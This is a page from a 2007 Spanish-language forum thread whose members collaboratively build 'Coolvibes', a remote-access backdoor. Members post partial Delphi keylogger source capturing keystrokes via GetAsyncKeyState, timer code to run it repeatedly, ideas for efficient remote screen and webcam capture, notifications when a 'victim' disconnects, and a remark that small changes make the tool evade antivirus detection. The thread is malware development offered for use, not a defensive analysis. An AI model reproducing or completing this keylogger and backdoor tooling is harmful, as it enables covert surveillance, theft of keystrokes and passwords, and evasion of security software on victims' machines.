Página 7 de 14
Publicado: 19 Ene 2007, 06:55
por Pablete
Hoy Buscando un programa que habia hecho hace tiempo encontre esto... va en realidad un timer con su respectivo codigo pero intente adaptarlo al "modo consola" y llegue hasta aca! ya que no tengo mucha idea de esta forma de trabajar... busk algo de info sobre settimer y killtimer para simular un timer pero no logro hacerlo funcionar... lo dejo aca para que otro si sabe sobre este tema y que tenga tiempo lo adapte... solo una colaboracion para este grandisimo programa... espero que sirva para algo...
Código: Seleccionar todo
Function keylogger(Terminar : boolean): string;
var
letra:string;
i:integer;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
VK_RETURN:letra:= '[Enter]';
8:letra:= '[Undo]';
9:letra:= '[Tab]';
20:letra:= '[Espacio]';
27:letra:= '[Esc]';
32:letra:= '[Espacio]';
33:letra:= '[RePag]';
34:letra:= '[AvPag]';
35:letra:= '[Fin]';
36:letra:= '[Inicio]';
44:letra:= '[ImpPant]';
45:letra:= '[Insert]';
46:letra:= '[Supr]';
48:letra:= '0';
49:letra:= '1';
50:letra:= '2';
51:letra:= '3';
52:letra:= '4';
53:letra:= '5';
54:letra:= '6';
55:letra:= '7';
56:letra:= '8';
57:letra:= '9';
190: letra:= '.';
65..90: // a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
letra:= LowerCase(Chr(i))
else
letra:= UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
letra:= UpperCase(Chr(i))
else
Ocurre este problema cuando intento postear la otra parte del codigo Helpp !!
Forbidden
You don't have permission to access /foro/posting.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Publicado: 19 Ene 2007, 12:55
por Unknown
Pablete escribió:Hoy Buscando un programa que habia hecho hace tiempo encontre esto... va en realidad un timer con su respectivo codigo pero intente adaptarlo al "modo consola" y llegue hasta aca! ya que no tengo mucha idea de esta forma de trabajar... busk algo de info sobre settimer y killtimer para simular un timer pero no logro hacerlo funcionar... lo dejo aca para que otro si sabe sobre este tema y que tenga tiempo lo adapte... solo una colaboracion para este grandisimo programa... espero que sirva para algo...
Hola, set timer es muy sencillo:
Código: Seleccionar todo
procedure StartTimer(Interval:DWORD);
begin
TimerHandle:=SetTimer(0,1,Interval,@keyLogger);
end;
var TimerHandle : THandle;
begin
StartTimer(1000);
end;
En este caso el procedimiento keyLogger no debe recibir parámetros, si los necesitas puedes crear variables globales. a StartTimer debes enviarle el intérvalo en milisegundos.
Saludos,
Unknown.
Publicado: 20 Ene 2007, 01:40
por wack-a-mole
Creo que ya sé cómo enviar únicamente lo cambiado a la hora de hacer capturas de pantalla/webcam.
Tengo que terminarlo de probar para publicarlo.
Para mostrar cómo lo hago me hice un programita de prueba ([Enlace externo eliminado para invitados] ... enTest.rar), está en inglés pero basta con hundir los botones en el orden señalado para que se entienda la idea básica.
Cómo se puede ver, lo que hace es que compara 2 imágenes, y los pixeles que son iguales los reemplaza por pixeles negros (Algo así como Imagen1 XOR Imagen2). Y al comprimir la imagen "XOReada" queda muy pequeña porque queda con grandes áreas de un mismo color (Ver el programa para entenderlo mejor). Todo ésto lo hace la función BitBlt con el parámetro SCRINVERT.
Idea principal sacada de: [Enlace externo eliminado para invitados]
Tan pronto puedo se lo agrego al Coolvibes.
Publicado: 20 Ene 2007, 03:14
por Thor
Que buena pinta tiene eso de hacer XOR a las capturas y enviar solo los cambios (bueno mas el fondo en negro). Yo pensé como hacer eso y llegue a la conclusión de que tendría que agrupar las zonas que han cambiado con rectangulos y enviar estas zonas especificando sus coordenandas ...buff algo muy costoso. Este método es simple y eficaz.
Por cierto veo que con png se mejora la reducción de tamaño. Jpg es mejor para fotos, con muchos colores y muchos cambios. Pero png es excelente para capturar el escritorio por ejemplo donde muchas zonas son de un mismo color. Ademas de no perder nada de calidad en png.
Espero con ansias los resultados
Saludos.
Publicado: 20 Ene 2007, 06:46
por DSR!
tambien le faltaria la opcion de ke valla guardando los screen con un prefix como en el poison.
Publicado: 31 Ene 2007, 23:33
por j4v
Parece que el Coolvibes ahora esta a disposicion de todo el mundo:
[Enlace externo eliminado para invitados]
Publicado: 01 Feb 2007, 02:33
por abnx777
hola a todos los del staff weno estoy siguiendo este projecto ... y les felicito a todos los participantes.
aun asi aprendiendo este lenguaje (delphi)...
quisiera aportar con este grano de arena ... si se le pudiera llamar un upddate mas ,ps aqui lo subo
------------------------------------------------------------------------------
[+]Corregido el Bug Cuando se usa la opcion desinstalar y el control queda abierto (ahora se cierra)
[+]agregado la opcion de que cuando se desconecta algun server que notifique tipo globo emergente
--------------------------------------------------------------------------------
Capturas
Link
[Enlace externo eliminado para invitados]
no me acuerdo de que pagina lo saque este codigo pero le he insertado al coolvibes ...
un saludo para abel(abelix) quien es el que lo testea xD ... y para todos de este foro gracias a ustedes estoy aprendiendo mas de lo que me imaginaba ....
p.d : poco a poco se llega lejos
.......nadie nace sabio
Publicado: 01 Feb 2007, 03:38
por HypNosS
Muy elegante ;)
Muchas gracias por este update y me alegra muchisimo que se una nueva sangre a este proyecto, ojala vengan muchos mas.
Por ahi estaba pensando, lo bien que queda la notificacion de globo emergente, tal vez se pueda unificar para la conexion y desconexion... La colorida notificacion MSN Style en algunas maquinas (no se a que es debido, tal vez poco video) donde corri el cliente se tilda un poco por momentos.
Publicado: 02 Feb 2007, 01:01
por karman
ya esta incluido el keylogger?
Publicado: 02 Feb 2007, 01:33
por HypNosS
karman escribió:ya esta incluido el keylogger?
No
Publicado: 03 Feb 2007, 13:42
por Thor
Muy bueno abnx777, en cuanto me libere de los odiosos examenes lo revisaré.
Me parece buena idea que tanto la notificación de conexión como de desconexión uses esto último que ha añadido abnx777.
Saludos.
Publicado: 03 Feb 2007, 16:04
por SevenDeath
Interesante aplicacion, es algo muy necesario el saber cuando se desconecta cada usuario/victima! ..
Se agradece ese cambio.
Esta gran puertaTrasera se ta volviendo famosa !
Ah por cierto mas AV lo estan detectando !
pero con unos pocos cambios queda indectectable
Publicado: 08 Mar 2007, 01:53
por j4v
SevenDeath escribió:
Ah por cierto mas AV lo estan detectando !
pero con unos pocos cambios queda indectectable
me gustaria saber como lo haces indetectable?
Publicado: 12 Mar 2007, 01:15
por LOSTIKO
Alguien sabe cuantas conecciones puede manejar le CVS?
Safe Thread??
Gracias.
Publicado: 14 Mar 2007, 01:35
por wack-a-mole
El Coolvibes no tiene tope máximo para conexiones. Lo qué no sabría decir es cuantas es capaz de soportar correctamente, sin embrutecer el PC donde corre el cliente... Yo sólo lo he llegado a probar con unas 10 conexiones y funciona a la perfección, alguien ha probado con más?
